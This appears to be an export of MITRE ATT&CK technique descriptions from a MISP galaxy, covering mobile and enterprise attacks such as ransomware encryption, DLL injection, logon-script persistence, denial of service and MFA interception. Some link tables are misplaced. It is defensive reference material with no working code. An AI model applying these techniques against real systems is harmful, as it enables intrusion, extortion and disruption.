Table 5126. Table References

Links

https://attack.mitre.org/techniques/T1639
Modify Trusted Execution Environment - T1399

If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device’s Trusted Execution Environment (TEE) or other similar isolated execution environment where the code can evade detection, may persist after device resets, and may not be removable by the device user. Running code within the TEE may provide an adversary with the ability to monitor or tamper with overall device behavior. (Citation: Roth-Rootkits)

The tag is: misp-galaxy:mitre-attack-pattern="Modify Trusted Execution Environment - T1399"

Table 5127. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1399">https://attack.mitre.org/techniques/T1399</a></td>
</tr>
</tbody>
</table>

Masquerade as Legitimate Application - T1444

An adversary could distribute developed malware by masquerading the malware as a legitimate application. This can be done in two different ways: by embedding the malware in a legitimate application, or by pretending to be a legitimate application.

Embedding the malware in a legitimate application is done by downloading the application, disassembling it, adding the malicious code, and then re-assembling it. (Citation: Zhou) The app would appear to be the original app, but would contain additional malicious functionality. The adversary could then publish the malicious application to app stores or use another delivery method.

Pretending to be a legitimate application relies heavily on lack of scrutinization by the user. Typically, a malicious app pretending to be a legitimate one will have many similar details as the legitimate one, such as name, icon, and description. (Citation: Palo Alto HenBox)

Malicious applications may also masquerade as legitimate applications when requesting access to the accessibility service in order to appear as legitimate to the user, increasing the likelihood that the access will be granted.

The tag is: misp-galaxy:mitre-attack-pattern="Masquerade as Legitimate Application - T1444"

Table 5128. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1444">https://attack.mitre.org/techniques/T1444</a></td>
</tr>
</tbody>
</table>
Out of Band Data - T1644

Adversaries may communicate with compromised devices using out of band data streams. This could be done for a variety of reasons, including evading network traffic monitoring, as a backup method of command and control, or for data exfiltration if the device is not connected to any Internet-providing networks (i.e. cellular or Wi-Fi). Several out of band data streams exist, such as SMS messages, NFC, and Bluetooth.

On Android, applications can read push notifications to capture content from SMS messages, or other out of band data streams. This requires that the user manually grant notification access to the application via the settings menu. However, the application could launch an Intent to take the user directly there.

On iOS, there is no way to programmatically read push notifications.

The tag is: misp-galaxy:mitre-attack-pattern="Out of Band Data - T1644"

Table 5129. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1644">https://attack.mitre.org/techniques/T1644</a></td>
</tr>
</tbody>
</table>

Network Denial of Service - T1464

Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth that services rely on, or by jamming the signal going to or coming from devices.

A Network DoS will occur when an adversary is able to jam radio signals (e.g. Wi-Fi, cellular, GPS) around a device to prevent it from communicating. For example, to jam cellular signal, an adversary may use a handheld signal jammer, which jam devices within the jammer's operational range.(Citation: NIST-SP800187)

Usage of cellular jamming has been documented in several arrests reported in the news.(Citation: CNET-Celljammer)(Citation: NYTimes-Celljam)(Citation: Digitaltrends-Celljam)(Citation: Arstechnica-Celljam)

The tag is: misp-galaxy:mitre-attack-pattern="Network Denial of Service - T1464"

Table 5130. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Compromise Client Software Binary - T1554

Adversaries may modify client software binaries to establish persistent access to systems. Client software enables users to access services provided by a server. Common client software types are SSH clients, FTP clients, email clients, and web browsers.

Adversaries may make modifications to client software binaries to carry out malicious tasks when those applications are in use. For example, an adversary may copy source code for the client software, add a backdoor, compile for the target, and replace the legitimate application binary (or support files) with the backdoored one. An adversary may also modify an existing binary by patching in malicious functionality (e.g., IAT Hooking/Entry point patching)(Citation: Unit42 Banking Trojans Hooking 2022) prior to the binary's legitimate execution. For example, an adversary may modify the entry point of a binary to point to malicious code patched in by the adversary before resuming normal execution flow.(Citation: ESET FontOnLake Analysis 2021)

Since these applications may be routinely executed by the user, the adversary can leverage this for persistent access to the host.

The tag is: `misp-galaxy:mitre-attack-pattern="Compromise Client Software Binary - T1554"`

Table 5131. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1554">https://attack.mitre.org/techniques/T1554</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/banking-trojan-techniques/#post-125550-_rm3d6xxbk52n">https://unit42.paloaltonetworks.com/banking-trojan-techniques/#post-125550-_rm3d6xxbk52n</a></td>
</tr>
</tbody>
</table>

Compromise Client Software Binary - T1645

Adversaries may modify system software binaries to establish persistent access to devices. System software binaries are used by the underlying operating system and users over adb or terminal emulators.
Adversaries may make modifications to client software binaries to carry out malicious tasks when those binaries are executed. For example, malware may come with a pre-compiled malicious binary intended to overwrite the genuine one on the device. Since these binaries may be routinely executed by the system or user, the adversary can leverage this for persistent access to the device.

The tag is: misp-galaxy:mitre-attack-pattern="Compromise Client Software Binary - T1645"

Table 5132. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1645">https://attack.mitre.org/techniques/T1645</a></td>
</tr>
<tr>
<td><a href="https://source.android.com/security/verifiedboot/">https://source.android.com/security/verifiedboot/</a></td>
</tr>
</tbody>
</table>

Abuse Elevation Control Mechanism - T1548

Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.

The tag is: misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548"

Table 5133. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1548">https://attack.mitre.org/techniques/T1548</a></td>
</tr>
</tbody>
</table>

Replication Through Removable Media - T1458

Adversaries may move onto devices by exploiting or copying malware to devices connected via USB. In the case of Lateral Movement, adversaries may utilize the physical connection of a device to a compromised or malicious charging station or PC to bypass application store requirements and install malicious applications directly.(Citation: Lau-Mactans) In the case of Initial Access, adversaries may attempt to exploit the device via the connection to gain access to data stored on the device.(Citation: Krebs-JuiceJacking) Examples of this include:

- Exploiting insecure bootloaders in a Nexus 6 or 6P device over USB and gaining the ability to perform actions including intercepting phone calls, intercepting network traffic, and obtaining the device physical location.(Citation: IBM-NexusUSB)

- Exploiting weakly-enforced security boundaries in Android devices such as the Google Pixel 2 over USB.(Citation: GoogleProjectZero-OATmeal)

- Products from Cellebrite and Grayshift purportedly that can exploit some iOS devices using physical access to the data port to unlock the passcode.(Citation: Computerworld-iPhoneCracking)
Downgrade to Insecure Protocols - T1466

An adversary could cause the mobile device to use less secure protocols, for example by jamming frequencies used by newer protocols such as LTE and only allowing older protocols such as GSM to communicate (Citation: NIST-SP800187). Use of less secure protocols may make communication easier to eavesdrop upon or manipulate.

The tag is: misp-galaxy:mitre-attack-pattern="Downgrade to Insecure Protocols - T1466"

View relationships graph

Downgrade to Insecure Protocols - T1466 has relationships with:


Rogue Cellular Base Station - T1467

An adversary could set up a rogue cellular base station and then use it to eavesdrop on or manipulate cellular device communication. A compromised cellular femtocell could be used to
carry out this technique (Citation: Computerworld-Femtocell).

The tag is: misp-galaxy:mitre-attack-pattern="Rogue Cellular Base Station - T1467"

View relationships graph

Rogue Cellular Base Station - T1467 has relationships with:


Table 5136. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1467">https://attack.mitre.org/techniques/T1467</a></td>
</tr>
</tbody>
</table>

**Data Encrypted for Impact - T1486**

Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted. (Citation: US-CERT Ransomware 2016) (Citation: FireEye WannaCry 2017) (Citation: US-CERT NotPetya 2017) (Citation: US-CERT SamSam 2018)

In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted (and often renamed and/or tagged with specific file markers). Adversaries may need to first employ other behaviors, such as [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529), in order to unlock and/or gain access to manipulate these files. (Citation: CarbonBlack Conti July 2020) In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR. (Citation: US-CERT NotPetya 2017)

To maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002). (Citation: FireEye WannaCry 2017) (Citation: US-CERT NotPetya 2017) Encryption malware may also leverage [Internal Defacement](https://attack.mitre.org/techniques/T1491/001), such as changing victim wallpapers, or otherwise intimidate victims by sending ransom notes or other messages to connected printers (known as "print bombing"). (Citation: NHS Digital Egregor Nov 2020)
In cloud environments, storage objects within compromised accounts may also be encrypted. (Citation: Rhino S3 Ransomware Part 1)

The tag is: *misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486"*

**Table 5137. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1486">https://attack.mitre.org/techniques/T1486</a></td>
</tr>
<tr>
<td><a href="https://digital.nhs.uk/cyber-alerts/2020/cc-3681#summary">https://digital.nhs.uk/cyber-alerts/2020/cc-3681#summary</a></td>
</tr>
<tr>
<td><a href="https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/">https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/</a></td>
</tr>
<tr>
<td><a href="https://www.rhinosecuritylabs.com/blog/tau-threat-discoveryconti-ransomware/">https://www.rhinosecuritylabs.com/blog/tau-threat-discoveryconti-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html">https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/alerts/AA18-337A">https://www.us-cert.gov/ncas/alerts/AA18-337A</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/alerts/TA16-091A">https://www.us-cert.gov/ncas/alerts/TA16-091A</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/alerts/TA17-181A">https://www.us-cert.gov/ncas/alerts/TA17-181A</a></td>
</tr>
</tbody>
</table>

**Exploit via Radio Interfaces - T1477**

The mobile device may be targeted for exploitation through its interface to cellular networks or other radio interfaces.

**Baseband Vulnerability Exploitation**

A message sent over a radio interface (typically cellular, but potentially Bluetooth, GPS, NFC, Wi-Fi(Citation: ProjectZero-BroadcomWiFi) or other) to the mobile device could exploit a vulnerability in code running on the device(Citation: Register-BaseStation)(Citation: Weinmann-Baseband).

**Malicious SMS Message**

An SMS message could contain content designed to exploit vulnerabilities in the SMS parser on the receiving device(Citation: Forbes-iPhoneSMS). An SMS message could also contain a link to a web site containing malicious content designed to exploit the device web browser. Vulnerable SIM cards may be remotely exploited and reprogrammed via SMS messages(Citation: SRLabs-SIMCard).

The tag is: *misp-galaxy:mitre-attack-pattern="Exploit via Radio Interfaces - T1477"*

**Table 5138. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.theregister.co.uk/2015/11/12/mobile_pwn2own1/">http://www.theregister.co.uk/2015/11/12/mobile_pwn2own1/</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1477">https://attack.mitre.org/techniques/T1477</a></td>
</tr>
</tbody>
</table>
Network Denial of Service - T1498

Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth services rely on. Example resources include specific websites, email services, DNS, and web-based applications. Adversaries have been observed conducting network DoS attacks for political purposes (Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction (Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion (Citation: Symantec DDoS October 2014).

A Network DoS will occur when the bandwidth capacity of the network connection to a system is exhausted due to the volume of malicious traffic directed at the resource or the network connections and network devices the resource relies on. For example, an adversary may send 10Gbps of traffic to a server that is hosted by a network with a 1Gbps connection to the internet. This traffic can be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).

To perform Network DoS attacks several aspects apply to multiple methods, including IP address spoofing, and botnets.

Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.

For DoS attacks targeting the hosting system directly, see [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499).

The tag is: `misp-galaxy:mitre-attack-pattern="Network Denial of Service - T1498"`

*Table S139. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1498">https://attack.mitre.org/techniques/T1498</a></td>
</tr>
<tr>
<td><a href="https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf">https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf</a></td>
</tr>
</tbody>
</table>
Endpoint Denial of Service - T1499

Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes (Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction (Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion. (Citation: Symantec DDoS October 2014)

An Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).

To perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets.

Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.

Botnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks. (Citation: USNYAG IranianBotnet March 2016)

In cases where traffic manipulation is used, there may be points in the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers. (Citation: ArsTechnica Great Firewall of China)

For attacks attempting to saturate the providing network, see [Network Denial of Service](https://attack.mitre.org/techniques/T1498).

The tag is: `misp-galaxy:mitre-attack-pattern="Endpoint Denial of Service - T1499"`
Credentials from Password Stores - T1555

Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.

The tag is: `misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555"`

Exfiltration Over Web Service - T1567

Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services.

Web service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.

The tag is: `misp-galaxy:mitre-attack-pattern="Exfiltration Over Web Service - T1567"`
Exploitation for Client Execution - T1658

Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to insecure coding practices that can lead to unanticipated behavior. Adversaries may take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.

Adversaries may use device-based zero-click exploits for code execution. These exploits are powerful because there is no user interaction required for code execution.

SMS/iMessage Delivery

SMS and iMessage in iOS are common targets through [Drive-By Compromise](https://attack.mitre.org/techniques/T1456), [Phishing](https://attack.mitre.org/techniques/T1660), etc. Adversaries may use embed malicious links, files, etc. in SMS messages or iMessages. Mobile devices may be compromised through one-click exploits, where the victim must interact with a text message, or zero-click exploits, where no user interaction is required.

AirDrop

Unique to iOS, AirDrop is a network protocol that allows iOS users to transfer files between iOS devices. Before patches from Apple were released, on iOS 13.4 and earlier, adversaries may force the Apple Wireless Direct Link (AWDL) interface to activate, then exploit a buffer overflow to gain access to the device and run as root without interaction from the user.

The tag is: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1658"

Table 5143. Table References

Links

https://attack.mitre.org/techniques/T1567

Search Open Technical Databases - T1596

Adversaries may search freely available technical databases for information about victims that can be used during targeting. Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS)(Citation: Medium SSL Cert)(Citation: SSLShopper
Adversaries may search in different open databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).

The tag is: `misp-galaxy:mitre-attack-pattern="Search Open Technical Databases - T1596"`

### Modify Cloud Compute Infrastructure - T1578

An adversary may attempt to modify a cloud account’s compute service infrastructure to evade defenses. A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots.

Permissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure. Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.(Citation: Mandiant M-Trends 2020)

The tag is: `misp-galaxy:mitre-attack-pattern="Modify Cloud Compute Infrastructure - T1578"`

### Table 5144. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1596">https://attack.mitre.org/techniques/T1596</a></td>
</tr>
<tr>
<td><a href="https://dnsdumpster.com/">https://dnsdumpster.com/</a></td>
</tr>
<tr>
<td><a href="https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcf41ea46a2">https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcf41ea46a2</a></td>
</tr>
<tr>
<td><a href="https://shodan.io">https://shodan.io</a></td>
</tr>
<tr>
<td><a href="https://www.circl.lu/services/passive-dns/">https://www.circl.lu/services/passive-dns/</a></td>
</tr>
<tr>
<td><a href="https://www.sslshopper.com/ssl-checker.html">https://www.sslshopper.com/ssl-checker.html</a></td>
</tr>
<tr>
<td><a href="https://www.whois.net/">https://www.whois.net/</a></td>
</tr>
</tbody>
</table>

### Table 5145. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1578">https://attack.mitre.org/techniques/T1578</a></td>
</tr>
<tr>
<td><a href="https://content.fireeye.com/m-trends/rpt-m-trends-2020">https://content.fireeye.com/m-trends/rpt-m-trends-2020</a></td>
</tr>
</tbody>
</table>
Gather Victim Identity Information - T1589

Adversaries may gather information about the victim’s identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, etc.) as well as sensitive details such as credentials.

Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about users could also be enumerated via other active means (i.e. [Active Scanning](https://attack.mitre.org/techniques/T1595)) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system. Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).

The tag is: `misp-galaxy:mitre-attack-pattern="Gather Victim Identity Information - T1589"`

Table 5146. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1589">https://attack.mitre.org/techniques/T1589</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://github.com/dxa4481/truffleHog">https://github.com/dxa4481/truffleHog</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://github.com/michenriksen/gitrob">https://github.com/michenriksen/gitrob</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.opm.gov/cybersecurity/cybersecurity-incidents/">https://www.opm.gov/cybersecurity/cybersecurity-incidents/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/">https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/</a></td>
<td></td>
</tr>
</tbody>
</table>
SNMP (MIB Dump) - T1602.001

Adversaries may target the Management Information Base (MIB) to collect and/or mine valuable information in a network managed using Simple Network Management Protocol (SNMP).

The MIB is a configuration repository that stores variable information accessible via SNMP in the form of object identifiers (OID). Each OID identifies a variable that can be read or set and permits active management tasks, such as configuration changes, through remote modification of these variables. SNMP can give administrators great insight in their systems, such as, system information, description of hardware, physical location, and software packages.(Citation: SANS Information Security Reading Room Securing SNMP Securing SNMP). The MIB may also contain device operational information, including running configuration, routing table, and interface details.

Adversaries may use SNMP queries to collect MIB content directly from SNMP-managed devices in order to collect network information that allows the adversary to build network maps and facilitate future targeted exploitation.(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks)

The tag is: misp-galaxy:mitre-attack-pattern="SNMP (MIB Dump) - T1602.001"

Table 5147. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1602/001">https://attack.mitre.org/techniques/T1602/001</a></td>
</tr>
<tr>
<td><a href="https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3">https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3</a></td>
</tr>
<tr>
<td><a href="https://www.sans.org/reading-room/whitepapers/networkdevs/securing-snmp-net-snmp-snmpv3-1051">https://www.sans.org/reading-room/whitepapers/networkdevs/securing-snmp-net-snmp-snmpv3-1051</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/alerts/TA18-106A">https://www.us-cert.gov/ncas/alerts/TA18-106A</a></td>
</tr>
</tbody>
</table>

Logon Script (Windows) - T1037.001

Adversaries may use Windows logon scripts automatically executed at logon initialization to establish persistence. Windows allows logon scripts to be run whenever a specific user or group of users log into a system.(Citation: TechNet Logon Scripts) This is done via adding a path to a script to the  
<code>HKCU\Environment\UserInitMprLogonScript</code> Registry key.(Citation: Hexacorn Logon Scripts)

Adversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.

The tag is: misp-galaxy:mitre-attack-pattern="Logon Script (Windows) - T1037.001"

Table 5148. Table References
Push-notification client-side exploit - T1373

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

A technique to push an [iOS](https://www.apple.com/ios) or [Android](https://www.android.com) MMS-type message to the target which does not require interaction on the part of the target to be successful. (Citation: BlackHat Stagefright) (Citation: WikiStagefright)

The tag is: misp-galaxy:mitre-attack-pattern="Push-notification client-side exploit - T1373"

Dynamic-link Library Injection - T1055.001

Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process.

DLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>, then invoked with <code>CreateRemoteThread</code> (which calls the <code>LoadLibrary</code> API responsible for loading the DLL). (Citation: Elastic Process Injection July 2017)

Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of <code>LoadLibrary</code>). (Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017)

Another variation of this method, often referred to as Module Stomping/Overloading or DLL Hollowing, may be leveraged to conceal injected code within a process. This method involves loading a legitimate DLL into a remote process then manually overwriting the module's <code>AddressOfEntryPoint</code> before starting a new thread in the target process.(Citation: Module Stomping for Shellcode Injection) This variation allows attackers to hide malicious injected code by potentially backing its execution with a legitimate DLL file on disk.(Citation: Hiding...
Malicious Code with Module Stomping)

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process.

The tag is: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001"

Table 5150. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1055/001">https://attack.mitre.org/techniques/T1055/001</a></td>
</tr>
<tr>
<td><a href="https://www.endgame.com/blog/technical-blog/hunting-memory">https://www.endgame.com/blog/technical-blog/hunting-memory</a></td>
</tr>
</tbody>
</table>

Exploit Public-Facing Application - T1190

Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network. The weakness in the system can be a software bug, a temporary glitch, or a misconfiguration.

Exploited applications are often websites/web servers, but can also include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other system with Internet accessible open sockets.(Citation: NVD CVE-2016-6662)(Citation: CIS Multiple SMB Vulnerabilities)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may also involve [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211).

If an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs, exploit container host access via [Escape to Host](https://attack.mitre.org/techniques/T1611), or take advantage of weak identity and access management policies.

Adversaries may also exploit edge network infrastructure and related appliances, specifically targeting devices that do not support robust host-based defenses.(Citation: Mandiant Fortinet Zero Day)(Citation: Wired Russia Cyberwar)

For websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25)

The tag is: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190"
Untargeted client-side exploitation - T1370

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

A technique that takes advantage of flaws in client-side applications without targeting specific users. For example, an exploit placed on an often widely used public web site intended for drive-by delivery to whoever visits the site. (Citation: CitizenLabGreatCannon)

The tag is: misp-galaxy:mitre-attack-pattern="Untargeted client-side exploitation - T1370"

Non-Application Layer Protocol - T1095

Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive. (Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).

ICMP communication between hosts is one example. (Citation: Cisco Synful Knock Evolution) Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts. (Citation: Microsoft ICMP) However, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.
Multi-Factor Authentication Interception - T1111

Adversaries may target multi-factor authentication (MFA) mechanisms, (i.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources. Use of MFA is recommended and provides a higher level of security than usernames and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms.

